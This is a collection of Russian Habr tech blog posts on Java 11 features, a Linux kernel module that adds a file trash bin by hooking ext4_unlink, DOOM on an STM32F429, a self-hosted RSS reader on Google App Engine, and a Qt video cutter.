* [State management](https://flutter.dev/docs/development/data-and-backend/state-mgmt/intro)
* Ссылка на приложение в [Google Play](https://play.google.com/store/apps/details?id=com.krasnayapolyanaresort.uniqguide) и [Apple Store](https://apps.apple.com/ru/app/%D1%8D%D0%BA%D0%BE%D1%82%D1%80%D0%BE%D0%BF%D1%8B/id1562666146) | https://habr.com/ru/post/559228/ | null | ru | null |
# «Жизнь после Java 10»: какие изменения принесет Java 11
Буквально недавно, в конце марта, [вышел](https://habr.com/company/jugru/blog/351694/) Java 10. Но в связи с тем, что компания Oracle [внесла изменения](https://www.infoworld.com/article/3222867/java/the-road-to-java-9-twice-yearly-releases-are-coming.html) в релизный цикл (новый релиз каждые полгода), к выходу готовится 11-я версия.
Запуск намечен на сентябрь 2018-го. Мы предлагаем взглянуть на некоторые из грядущих обновлений, о которых известно на сегодняшний день.
[](https://habr.com/company/it-grad/blog/358810/)
*/ фото [Markus Spiske](https://www.flickr.com/photos/markusspiske/37889155476/) [PD](https://creativecommons.org/publicdomain/zero/1.0/)*
Java 10: краткая сводка
-----------------------
Нововведениями десятой версии стали: [локальный вывод типов с помощью var](http://openjdk.java.net/jeps/286), улучшения в процессах «сборки мусора» и [возможность](http://openjdk.java.net/jeps/317) использовать [Graal](https://github.com/oracle/graal) как основной JIT-компилятор.
Локальный вывод типов с помощью var просили многие разработчики. Теперь можно не вводить типы два раза подряд: сперва для объявления переменной, а затем для конструктора, идущего следом.
```
var list = new ArrayList(); // infers ArrayList
var stream = list.stream(); // infers Stream
```
Однако решение ввести var [получило](http://mail.openjdk.java.net/pipermail/platform-jep-discuss/2016-December/000066.html) неоднозначные отзывы участников сообщества. Кто-то высказывался за нововведение и говорил, что дедупликация повышает читабельность кода. Но были и те, кто [отмечал](https://blog.codefx.org/java/java-10-var-type-inference/), что теперь ряд типов переменных (например, connection) не будут очевидными. И хотя IDE теперь смогут показывать их по требованию, в других средах будут возникать проблемы.
Для улучшенной сборки мусора в десятый релиз были включены сразу два изменения: [JEP 304](http://openjdk.java.net/jeps/304) и [JEP 307](http://openjdk.java.net/jeps/307). JEP 304 улучшил изоляцию кода от различных сборщиков мусора за счет нового интерфейса GC, что позволило быстрее интегрировать сторонние сборщики. JEP 307 же дал возможность «собирать мусор» в несколько потоков.
Что касается нового JIT-компилятора, то он направлен на улучшение производительности JVM. Прежняя версия JVM была написана на C++, однако в рамках [проекта](https://jaxenter.com/openjdk-project-metropolis-137318.html) Metropolis большую часть JVM перепишут на Java. Экспериментальный компилятор является первым шагом на пути к этой цели.
*/ фото [Betsy Weber](https://www.flickr.com/photos/betsyweber/10350302806/) [CC](https://creativecommons.org/licenses/by/2.0/)*
Возможные нововведения в Java 11
--------------------------------
В начале осени разработчики планируют представить Java 11. И о ряде функций, которые могут стать частью релиза, известно уже сегодня. В сети даже идет бурное обсуждение предложенных изменений.
Часть разработчиков недовольна тем, как быстро меняется язык. Один из резидентов Hacker News [сказал](https://news.ycombinator.com/item?id=17061026): «Java превращается в совершенно новый язык. Одна из причин, почему я раньше использовал Java — это обратная совместимость. Если придется учить новый язык программирования каждые 6 месяцев, я выучу что-нибудь другое».
Но есть и те, кто отмечает, что Java наконец-то обзаводится функциями, которых ему не хватало, и которые уже давно были реализованы в других ЯП. Еще один пользователь HN пишет: «Я не использовал Java с начала нулевых и удивлен, что они так долго вводят фичи, которые давно существуют в других языках». Вот некоторые из них.
##### Изменения в локальном выводе типов
Java 10 уже предоставил возможность использовать var для обозначения типа локальных переменных, перекладывая эту задачу на плечи компилятора. Однако Java 11 идет дальше и делает так, что var можно использовать при объявлении формальных параметров неявно типизированных лямбда-выражений.
За подробным руководством о том, когда и как использовать var, можно обратиться к этой [статье](http://openjdk.java.net/projects/amber/LVTIstyle.html) на OpenJDK.
##### Добавление необработанных строковых литералов
Это еще одно дополнение, над которым сейчас ведется работа. В необработанной строке каждый символ читается «как есть», включая символы разрыва. Например, такой строкой может быть разметка HTML или SQL-запрос:
```
String html = "\n" +
" \n" +
" Hello World.
\n" +
" \n" +
"\n";
```
Используя строковый литерал, этот код можно записать следующим образом:
```
String html = `
Hello World.
`;
```
Для обозначения необработанной строки используется обратный апостроф (`). Если вам нужно прописать апостроф внутри самой строки, то в этом случае для маркировки её границ используются двойные (или тройные, четверные и т. д.) обратные апострофы:
```
String str = ```This is a raw `string` with ``backticks`` inside```;
```
##### Появятся switch-выражения
Сейчас оформление switch выполняется следующим образом:
```
int val;
switch (str) {
case "foo": val = 1; break;
case "bar": val = 2; break;
case "baz": val = 3; break;
default: val = -1;
}
```
С появлением [switch-выражений](http://openjdk.java.net/jeps/325), конструкция сократится:
```
int val = switch (str) {
case "foo": break 1;
case "bar": break 2;
case "baz": break 3;
default: break -1;
}
```
При этом если в case встречается только break, возможно использовать упрощенную нотацию:
```
int val = switch (str) {
case "foo" -> 1;
case "bar" -> 2;
case "baz" -> 3;
default -> -1;
}
```
Добавление switch expressions — это шаг вперед на пути к появлению метода [сопоставления с образцом](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%BF%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D1%86%D0%BE%D0%BC).
Помимо отмеченных выше, Java может получить и другие изменения. Например, поддержку типов значений или переменных типа в enum. Эти обновления не обязательно войдут в состав Java 11, но, вероятно, ожидать их можно уже в ближайшем будущем.
---
P.S. О чем еще мы пишем в Первом блоге о корпоративном IaaS:
* [Облачные технологии в финансовых организациях: правовые вопросы](http://iaas-blog.it-grad.ru/tendencii/legal-issues-of-using-cloud-technologies-by-financial-organizations/)
* [На что обратить внимание при размещении кода и развертывании приложений в облаке](http://iaas-blog.it-grad.ru/tendencii/na-chto-obratit-vnimanie-pri-razmeshhenii-koda-i-razvertyvanii-prilozhenij-v-oblake/)
* [Переезд в облако: трансформация технологий и бизнеса](http://iaas-blog.it-grad.ru/tendencii/pereezd-v-oblako-transformaciya-texnologij-i-biznesa/)
P.P.S. Несколько материалов из нашего блога на Хабре:
* [UL 3223: представлен новый стандарт сертификации ЦОД](https://habr.com/company/it-grad/blog/353124/)
* [«Интернет стал чуть безопаснее»: комитет IETF утвердил TLS 1.3](https://habr.com/company/it-grad/blog/352668/)
* [Новая старая уязвимость: менеджер паролей Firefox уже 9 лет использует устаревший SHA-1](https://habr.com/company/it-grad/blog/352380/) | https://habr.com/ru/post/358810/ | null | ru | null |
# Динамическое расширение ядра Linux — добавляем функцию «удалить в корзину»
Многим пользователям Linux, особенно тем, кто по тем или иным причинам перешёл на эту ОС с Windows, не хватает возможности удаления файлов «в корзину». Кроме того, наверняка, каждый, кто пользовался Linux'ом и по ошибке удалял какой-либо файл, испытывал смешанные чувства от отсутствия простой возможности восстановить утраченные данные.
В продолжение [предшествующего материала](http://habrahabr.ru/post/206778/), посвящённого перехвату функций ядра Linux, представляю способ использования разработанного ранее фреймворка для создания модуля ядра Linux, реализующего возможность удаления файлов «в корзину» (just for fun).
#### Постановка задачи
Будем стремиться создать возможность удаления файлов таким образом, чтобы они попадали в «корзину». При этом, в роли корзины будет выступать специальный каталог, находящийся в корне файловой системы (`.fstrash`). Суть перемещения в корзину будет сводиться к тому, чтобы в момент удаления файла создавать для него «жёсткую ссылку» в этом каталоге. В этом случае, операция удаления, следующая за операцией создания жёсткой ссылки, удалит лишь «старое имя» файла, но не его содержимое.
Итак, для того, чтобы иметь возможность удаления в корзину, необхдимо:
* использовать ФС с поддержкой жёсткких ссылок (например, `ext4`)
* перехватить функцию драйвера соответствующей ФС, реализующую удаление (например, [ext4\_unlink](http://lxr.free-electrons.com/source/fs/ext4/namei.c?v=3.8#L2775))
* в момент удаления дать файлу «второе имя», создав для него жёсткую ссылку
#### Реализация
Начнём с того, что рассмотрим функцию [fstrash\_unlink](https://github.com/milabs/kmod_fstrash/blob/d9d87f9c13f4842f4b894a44240df82ee05aea68/module-init.c#L234), реализующую логику работы с корзиной:
```
static struct qstr fstrash = {
.len = 8, .name = ".fstrash",
};
static int fstrash_unlink(struct inode * inode, struct dentry * dentry)
{
int result = -EINVAL;
/* handle real deletes only */
if (dentry->d_inode->i_nlink == 1) {
struct dentry * trash = NULL;
trash = d_lookup(inode->i_sb->s_root, &fstrash);
if (trash) {
/* don't loop while deleting from the trash itself */
if (trash->d_inode && (trash->d_inode != inode))
result = move_to_trash(trash, dentry);
dput(trash);
}
}
return result;
}
```
В первую очередь, данная функция проверяет счётчик ссылок (`i_nlink`) на элементе `dentry`, описывающем файл. Сравнение с единицей необходимо для того, чтобы убедиться в том, что запрашиваемая операция (удаление) ведёт именно к удалению файла, т.к. счётчик `i_nlink` содержит количество элементов каталогов, ссылающихся на данный файл (число жёстких ссылок). Очевидно, что значение «1» соответствует единственной (последней) ссылке.
Далее, осуществляется поиск «корзины» и, в случае, если она обнаружена и запрашиваемая операция удаления не является операцией удаления из самой корзины (проверка `trash->d_inode != inode`), вызывается функция создания жёсткой ссылки (перемещения файла в корзину) — [move\_to\_trash](https://github.com/milabs/kmod_fstrash/blob/d9d87f9c13f4842f4b894a44240df82ee05aea68/module-init.c#L204):
```
static int move_to_trash(struct dentry * trash, struct dentry * object)
{
int result;
char name[64];
struct dentry * de;
snprintf(name, sizeof(name), "XXX-%lu-%s", \
object->d_inode->i_ino, object->d_name.name);
de = d_alloc_name(trash, name);
if (!de)
return -ENOMEM;
trash->d_inode->i_op->lookup(trash->d_inode, de, 0);
inc_nlink(object->d_inode);
mutex_lock(&trash->d_inode->i_mutex);
result = trash->d_inode->i_op->link(object, trash->d_inode, de);
mutex_unlock(&trash->d_inode->i_mutex);
drop_nlink(object->d_inode);
if (!result)
mark_inode_dirty(object->d_inode);
dput(de);
return result;
}
```
Как видно, в этой функции происходит:
* формирование имени файла по шаблону (`XXX-<номер_инода>-<имя_файла>`)
* создание нового имени файла посредством операции `i_op->lookup` для нового имени файла
* создание жёсткой ссылки — операция `i_op->link`
В случае успешного выполнения перечисленных операций, объкт отмечается как «грязный» при помощи функции `mark_inode_dirty`, что сигнализирует системе о необходимости синхронизации метаданных этого файла.
Таким образом, в соответствии с [рассматриваемым ранее](http://habrahabr.ru/post/206778/) способом встраивания в ядро, перехват ключевой функции удаления для ФС ext4 [ext4\_unlink](http://lxr.free-electrons.com/source/fs/ext4/namei.c?v=3.8#L2775) будет выглядеть следующим образом:
```
DECLARE_KHOOK(ext4_unlink);
int khook_ext4_unlink(struct inode * inode, struct dentry * dentry)
{
int result;
KHOOK_USAGE_INC(ext4_unlink);
fstrash_unlink(inode, dentry);
result = KHOOK_ORIGIN(ext4_unlink, inode, dentry);
KHOOK_USAGE_DEC(ext4_unlink);
return result;
}
```
Стоит отметить также, что перехватываемая функция `ext4_unlink` вызывается ядром из функции [vfs\_unlink](http://lxr.free-electrons.com/source/fs/namei.c?v=3.8#L3398), которая в свою очередь осуществляет необходимую синхронизацию, предотвращая конкурентный доступ к информации на время выполнения операции:
```
3398 int vfs_unlink(struct inode *dir, struct dentry *dentry)
3399 {
...
3408 mutex_lock(&dentry->d_inode->i_mutex);
3409 if (d_mountpoint(dentry))
3410 error = -EBUSY;
3411 else {
3412 error = security_inode_unlink(dir, dentry);
3413 if (!error) {
3414 error = dir->i_op->unlink(dir, dentry);
3415 if (!error)
3416 dont_mount(dentry);
3417 }
3418 }
3419 mutex_unlock(&dentry->d_inode->i_mutex);
...
3428 }
```
Таким образом, операция `i_op->unlink(...)` защищена соответствующим примитивом синхронизации (`d_inode->i_mutex`).
#### Использование
Что касается использования, то один из возможных вариантов — это создание `cron`-задачи, выполняющейся с определённой периодичностью (например, 5 минут) и подчищающей, как вариант, всё, что лежит в корзине по маске `/.fstrash/XXX_*`. Время каждый может подобрать для себя сам как и то, по каким критериям чистить :)
Код данного проекта доступен [github](https://github.com/milabs/kmod_fstrash). | https://habr.com/ru/post/210364/ | null | ru | null |
# STM32F429 + IL9341 = LVGL, DOOM1
Воспользовавшись Новогодними праздниками, продолжил поднимать элементы на своей плате. Первым делом после того как запустился дисплей провел тест Lvgl графической библиотеки. Результаты показались удовлетворительным. Около 20 FPS. Иногда были просадки но в целом, без использования DMA и контроллера Chrom-***ART***, который есть на борту картинка плавная. ART использовать не получится, потому что дисплей с интерфейсом SPI. Это было не первое ограничение с которым я столкнулся на пути оптимизации с целью увеличения FPS
---
Статью скорее надо рассматривать в образовательных или исследовательских целях. Я пришел к выводу, что если разрабатывать устройство, то надо использовать все фичи, а то получится такой испытательный стенд. На котором не работает Chrom-***ART***
LVGL
----
Подключить <https://lvgl.io> было не сложно, тем более есть [два порта под Discovery STM32F429](https://github.com/lvgl/lvportstm32f746_disco):
Выделение полнокадрового буфера у меня не получилось по причине нехватки памяти в одном сегменте. Решил задействовать SDRAM. Тут меня ждало разочарование с передачей буфера экрана за один раз. Экран 320×240×2 = 153600 байт на фрэйм. STM32F429 DMA на SPI имеет ограничения по причине 16 битного внутреннего счетчика. Соответственно, чтобы передать кадр надо выполнить 153600 / 65535 = ~2,3 транзакции. Не очень ситуация. Это и оказалось бутылочным горлышком. Надо ждать когда будет отправлен последний кусок чтобы начинать отрисовывать новый фрэйм:
DMA restriction 16 bitThere's also an underlying hardware issue: the DMA's NDTR (counting) register is 16-bit long.
Ниже то, что получил в ответ на [вопрос по проблеме](https://forum.lvgl.io/t/stm32f429-ili9341-spi/4187).
В голову приходит решение сделать Double buffer. В одном рисуем, отдаем на отправку и продолжаем рисовать в другом, если он освободился. В свою очередь оправка смотрит, есть ли готовый буфер и отправляет его переходя к другому. ART позволяет это делать почти автоматически. В [изначальной реализации](https://github.com/floppes/stm32doom) это используется
lvgl forum answer
> Your buffer setting (NULL, LV\_HOR\_RES\_MAX \* LV\_VER\_RES\_MAX) is too high (as you already noticed by yourself
>
> Normally the buffer is set around to be LV*HOR*RES*MAX \* 20 (or 40, or more or less).You are using DMA. DMA in STM32F4/7 or STM32FH7 can only handle up buffer length up to 16 bit (means 65535 bytes).*
>
> *You set your buffer to LV*HOR*RES*MAX \* LV*VER*RES\_MAX. For a 320 x 240 that is 76 800.
> As you have a 16-bit color values, it means 76800 \* 2 = 153600 bytes. That’s more than double of that what the DMA can handle at once.
> As only less than a half of the necessary data is transferred to the display, frame rate gets more than doubled.
>
> This is true if lvgl is updating the entire (or nearly the entire) display at once.
> When only smaller parts of the display will be redrawn everything is ok. As the used buffer is smaller (less than the 16-bit limit of DMA).
>
> You can of course change your flush function to split the display transfer into smaller parts,
> but that will not change the overall time you need for transfer all the display data over SPI.
> The bottleneck is SPI.
>
> But with the method to have the buffer within the SDRAM (external memory), I think you will slow down lvgl.
>
> Using the external SDRAM would make sense only when using it as a real frame buffer for display, in the case the STM32F4/7 would use it directly for (parallel) display driving.
>
>
Как приготовить Doom в Кубе
---------------------------
[За основу взят порт](https://github.com/floppes/stm32doom):
По файловой системе изменений почти никаких. Надо только смонтировать диск. Подключаем по SDIO через 4е линии. Не забываем ставить делитель хотя бы на 4. Без него не проходит инициализация флэшки. Я ставлю на 10. После инициализации, впрочем, можно вернуть частоту назад.
```
FRESULT res = f_mount(&SDFatFs, (TCHAR const*)SDPath, 1);
```
Добавляем секцию sdram. На ней будет организована куча. Так же обозначим для каких файлов будем использовать sdram для статических переменных. Еще я задействовал CCMRAM под стек
```
/* Highest address of the user mode stack */
_estack = ORIGIN(CCMRAM) + LENGTH(CCMRAM); /* end of "RAM" Ram type memory */
/* Internal Memory Map*/
MEMORY
{
CCMRAM (xrw) : ORIGIN = 0x10000000, LENGTH = 64K
rom (rx) : ORIGIN = 0x08000000, LENGTH = 2048K
ram (rwx) : ORIGIN = 0x20000000, LENGTH = 192K
sdram (rwx) : ORIGIN = 0xD004B000, LENGTH = 7892K /* first 300K is used as LCD frame buffer */
}
SECTIONS
{
/* external SDRAM */
.sdram (NOLOAD) :
{
. = ALIGN(4);
*(.sdram .sdram.*)
bin/chocdoom/i_video.o(COMMON)
bin/chocdoom/r_bsp.o(COMMON)
bin/chocdoom/w_wad.o(COMMON)
bin/chocdoom/r_main.o(COMMON)
bin/chocdoom/r_plane.o(COMMON)
} > sdram
...
```
Теперь подправим метод \_sbrk для управления динамической памятью кучи через sdram. Реализация *sbrk*r на ваше усмотрение
```
#define HEAP_SIZE 0x00700000 // 7 MB
/* heap */
__attribute__ ((section(".sdram")))
static char heap[HEAP_SIZE];
caddr_t _sbrk_r (struct _reent* r, int incr)
{
...
```
Верхушка памяти отведена под два буфера экрана
```
sdram (rwx) : ORIGIN = 0xС004B000, LENGTH = 7892K /* first 300K is used as LCD frame buffer */
```
Напоминаю, что FMC может управлять до двух банков, соответственно адреса банков
1. 0xС0000000
2. 0xD0000000
Отрисовка экрана находится в файле i\_video.c
Надо еще было развернуть байты, но я это сделал в инициализации палитры
// swapped = (num>>8) | (num<<8)
Первый эксперимент был по отрисовке линии, второй - всего буфера
```
void I_FinishUpdate (void)
{
int x, y;
byte index;
lcd_vsync = false;
for (y = 0; y < SCREENHEIGHT; y++)
{
for (x = 0; x < SCREENWIDTH; x++)
{
index = I_VideoBuffer[y * SCREENWIDTH + x];
((uint16_t*)lcd_frame_buffer)[y * SCREENWIDTH + x] = rgb565_palette[index];
// swapped = (num>>8) | (num<<8);
}
// lcd_draw_line (lcd_frame_buffer, y);
}
lcd_draw_buff (lcd_frame_buffer);
lcd_refresh ();
lcd_vsync = true;
}
```
После вывода линий стал подключать RTOS и уперся в выделение памяти. Тюнингом удалось дойти до заставки. Но потом сваливался в **static** **void** **HardFault\_Handler**(**void**).
Еще момент в том, что автор немного подправил реализацию Chocdoom. Были падения по выходам за границы массива при внутреннем построении сцены. Как известно STM32F429 Discovery имеет 2.4" QVGA TFT LCD дисплей. Я же взял 320x240 SPI.
Если бы не ограничение в передаче через DMA в устройство подключенное на SPI можно было бы обойтись без многопоточности. Просто отсылать после отрисовки буфер. И возможно ждать перед началом поставки следующего. Но STM32F4 может пересылать 0xFFFF байт за раз, а это при экране 320x240 и 2 байта на пиксель надо делать более двух раз.
Первый и последний эксперимент был сделан с посылкой и ожиданием в 3 этапа. Ниже функция которая это делает.
```
void fill_display(SPI_HandleTypeDef *hspi,
DMA_HandleTypeDef *hdma_spi_tx,
uint8_t *buff,
uint32_t size){
uint16_t max_transaction_size = 0xFFFF;
uint16_t send_size;
uint32_t offset = 0;
uint8_t done = 0;
HAL_GPIO_WritePin(GPIOC, DC_Pin, GPIO_PIN_SET);
HAL_GPIO_WritePin(GPIOC, CS_Pin, GPIO_PIN_RESET);
do {
if (offset + max_transaction_size <= size){
send_size = max_transaction_size;
} else {
send_size = size - offset;
done = 1;
}
HAL_SPI_Transmit_DMA(hspi, buff + offset, send_size);
while (HAL_DMA_STATE_BUSY == HAL_DMA_GetState(hdma_spi_tx))
{ continue; }
offset += max_transaction_size;
} while(done == 0);
HAL_GPIO_WritePin(GPIOC, DC_Pin, GPIO_PIN_RESET);
}
```
Сделал ради эксперимента. Скорость впечатлила. По сравнению с ESP32 из моих прошлых экспериментов <https://habr.com/ru/post/512130/> картинка побежала явно быстрее. ESP32 использовал RTOS но имел на борты PSRAM против SDRAM у STM32F429. Последовательный интерфейс против параллельного. Два ядра у ESP32 против одного у STM32F429. STM32F429 "немного" дороже раза этак в два.
В дополнении я начал прикручивать кнопки и внезапно Doom стал работать задом наперед. Демка крутилась в обратную сторону. Открывать двери надо было спиной...
На этом моменте эксперимент был закончен.
Материалы по темеGraphic memory optimization with STM32 Chrom-GRC™
[https://www.st.com/resource/en/application\_note/dm00407777-graphic-memory-optimization-with-stm32-chrom-grc-stmicroelectronics.pdf](Graphic%20memory%20optimization%20with%20STM32%20Chrom-GRC%E2%84%A2)
<https://github.com/ardnew/ILI9341-STM32-HAL>
<https://github.com/afiskon/stm32-ili9341>
<https://github.com/martnak/STM32-ILI9341>
В планах
--------
В планах собрать STM32F750x8. На борту у нее всего 64K flash, но можно исполнять инструкции из внешней flash памяти. Расширяемый бюджетный STM32F7
> **3.9 Quad-SPI memory interface (QUADSPI)**
>
> All devices embed a Quad-SPI memory interface, which is a specialized communication interface targeting Single, Dual or Quad-SPI Flash memories. It can work in:
>
> • Direct mode through registers.
>
> • External flash status register polling mode.
>
> • Memory mapped mode. Up to 256 Mbytes external flash are memory mapped, supporting 8, 16 and 32-bit access. **Code execution is supported.** The opcode and the frame format are fully programmable. Communication can be either in Single Data Rate or Dual Data Rate.
>
>
**Code execution is supported** - Hello ESP32!
Схема всего этого поделья
 | https://habr.com/ru/post/536424/ | null | ru | null |
# Orb. DIY-cервер новостей
Привет всем!
Перед закрытием Google Reader в 2013-м году захотелось написать что-то свое на эту тему. Чтобы оно собирало новости из RSS и было видно, что читал, а что — нет. Плюс было желание поработать с GAE и Angular. Позднее, после нескольких разочарований в собственных CSS cross-browser скиллах, к этой компании присоединился еще и IonicFramework. То, что в итоге получилось, на мой взгляд, довольно удобно, используется мной ежедневно и, может быть, кому-то тоже пригодится.
Приглашаю под кат всех желающих самостоятельно собрать и запустить на Гугловых серверах свой личный агрегатор новостей.
#### Инструменты
* Java7 JDK. На всякий случай [ссылка](http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html), где взять инсталлятор;
* Пустое приложение на GAE аккакунте. Как сделать описано [здесь](https://sites.google.com/site/gdevelopercodelabs/app-engine/creating-your-app-engine-account);
* Git. Думаю, любой. Помимо скачивания исходников, git.exe понадобится еще и при сборке. Я использую тот, что приезжает с инсталлятором GitHub for Windows;
* GAE SDK for Java. Взять его можно [здесь](https://developers.google.com/appengine/downloads). Распаковать в любой каталог, и полный путь к этому каталогу прописать в переменную окружения GAE\_HOME;
* Ant. Cкачать можно [тут](http://ant.apache.org/bindownload.cgi). Как устанавливать написано [тут](http://ant.apache.org/manual/install.html).
#### Детальки
Качаем исходники:
```
git clone -b latest https://github.com/igors48/nmdService.git
```
Перед сборкой нужно подстроить индивидуальные параметры сборки вашего экземпляра сервера. Для этого в корневой директории проекта копируем файл *build.properties.template*, копию называем *build.properties.local*. Открываем в любом текстовом редакторе и прописываем значения для таких параметров:
* *email* — GMail адрес соответствующий аккаунту с которого вы создавали пустое GAE приложение;
* *application.identifier* — идентификатор вашего GAE приложения;
* *git.executable* — путь к git.exe или как он называется в вашем случае. Здесь нужно обратить внимание на слеши. Они должны быть такими — "/"
Остальные параметры пока можно оставить как есть.
Сохраняем, закрываем.
#### Сборка и запуск
Для проверки попробуем поднять сервер локально. Для этого запускаем *dev\_server.bat*. Если все пройдет успешно, то сервер должен отвечать по адресу *localhost:8080*. После проверки локальный сервер нужно остановить с помощью *Сtrl-C*. Если просто закрыть окно, то сервер останется висеть на 8080-м порту молчаливым упреком и убить его можно будет только из менеждера процессов. По крайней мере, под Windows это так.
Теперь финальный шаг. «Ради этого все и писалось (с)». Деплоим на GAE. Для этого выполняем *ant update*. Перед деплоем Ant спросит пароль к GMail аккаунту. Если деплой завис, что изредка бывает, то его нужно остановить с помощью *Ctrl-C* и выполнить *ant rollback*. После этого можно опять пробовать *ant update*.
Если все прошло нормально, ваш личный сервер новостей будет доступен по адресу *%application.identifier%.appspot.com*. Админка, с логами, графиками и базой, по адресу *[appengine.google.com](https://appengine.google.com)*. Желаю приятного использования!
#### Бонус
Помимо РСС можно тянуть новости из твиттера. Для этого нужен твиттер аккаунт и ключи — *consumer key* и *consumer secret*. Получить их можно [здесь](https://apps.twitter.com/).
Полученные ключи нужно прописать в *build.properties.local* в переменные *twitter.apiKey* и *twitter.apiSecret*, соответственно. После этого сервер нужно передеплоить.
#### Заключение
Скриншоты:
Список категорий:
Список фидов в категории:
Список новостей в фиде:
Отображение анонса новости:
Страница проекта на GitHub [здесь](https://github.com/igors48/nmdService).
Буду рад замечаниям, пожеланиям, вопросам и критике. У меня еще есть ряд идей для воплощения в рамках этого проекта, но, возможно, кто-то подскажет что-то еще.
Спасибо за внимание. | https://habr.com/ru/post/242099/ | null | ru | null |
# Easy Video Cutter — простой обрезальщик видео
Один мой друг решил внести свой посильный вклад в развитие сообщества open source. Результатом его желания явилась не большая, но, как ему кажется, полезная программка, о которой он попросил меня рассказать.
Суть этой программы очень проста: вырезать кусочки видео. Я ему, конечно же, сказал, что таких программ море, на что он ответил, что ему захотелось сделать что-то более удобное, чем многофункциональные нелинейные редакторы, для его повседневной жизни.
А полезность объяснил достаточно доходчиво: «Вот у тебя на компе, допустим, есть коллекция порно, которая жрёт очень много места на харде, ты можешь вырезать любимые сценки, а остальное удалить.»
В общем написана она на QT и является front-end'ом для mplayer и mencoder.
Поставить её можно в арче просто:
`yarout -Sy evc`
Или [собрать самому](http://easyvideocutter.googlecode.com/files/evc-0.1.tar.gz)
Для тех, кто не знает как самому собрать:
`Качаем
wget easyvideocutter.googlecode.com/files/evc-0.1.tar.gz
Распаковываем
tar -xvzf evc-0.1.tar.gz
Переходим в каталог с программой
cd evc-0.1
Собираем
qmake
make`
После этого появится бинарник evc, при желании можно скопировать в /usr/bin
Это мой первый пост, а друг хочет сам писать статьи на Хабр. Не судите строго.
**UPD:** Спасибо всем кто прислал инвайт | https://habr.com/ru/post/65571/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.